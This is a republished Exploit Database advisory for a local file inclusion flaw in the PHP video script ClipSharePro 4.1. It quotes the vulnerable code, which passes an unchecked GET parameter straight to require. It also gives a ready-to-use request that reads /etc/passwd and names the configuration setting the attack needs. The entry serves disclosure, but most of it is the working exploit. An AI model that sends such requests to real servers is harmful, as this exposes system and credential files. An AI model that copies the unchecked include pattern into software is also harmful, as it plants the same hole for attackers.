ClipSharePro 4.1 – Local File Inclusion

• Exploit Database
• 182 阅读

• 作者： Saadi Siddiqui
  日期： 2014-03-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/32131/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37

  # Exploit Title: ClipSharePro <= 4.1 Local File Inclusion # Date : 2013/3/9 # Exploit Author : Saadat Ullah ， saadi_linux[at]rocketmail[dot]com # Software Link: http://www.clip-share.com # Author HomePage: http://security-geeks.blogspot.com # Tested on: Server : Apache/2.2.15 PHP/5.3.3   #Local File Inclusion   ClipsharePro is a paid youtube clone script , suffers from Localfile Inclusion vulnerability through which attacker can include arbitrary file in webapp.   LFI in ubr_link_upload.php Poc code   if($MULTI_CONFIGS_ENABLED){ if(isset($_GET[&apos;config_file&apos;]) && strlen($_GET[&apos;config_file&apos;]) > 0){ $config_file = $_GET[&apos;config_file&apos;]; } else{ showAlertMessage("<font color=&apos;red&apos;>ERROR</font>: Failed to find config_file parameter", 1); } } else{ $config_file = $DEFAULT_CONFIG; }   // Load config file require $config_file;//including arbitrary file $_GET[&apos;config_file&apos;] echo $config_file;     The vulnerability can be exploited as.. http://localhost/clips/ClipSharePro/ubr_link_upload.php?config_file=/etc/passwd     For sucessfully exploitation of this vulnerability you need $MULTI_CONFIGS_ENABLED to be 1 in the config file.. In ubr_ini.php   $MULTI_CONFIGS_ENABLED = 1; --->This value should have to be 1   #Independent Pakistani Security Researcher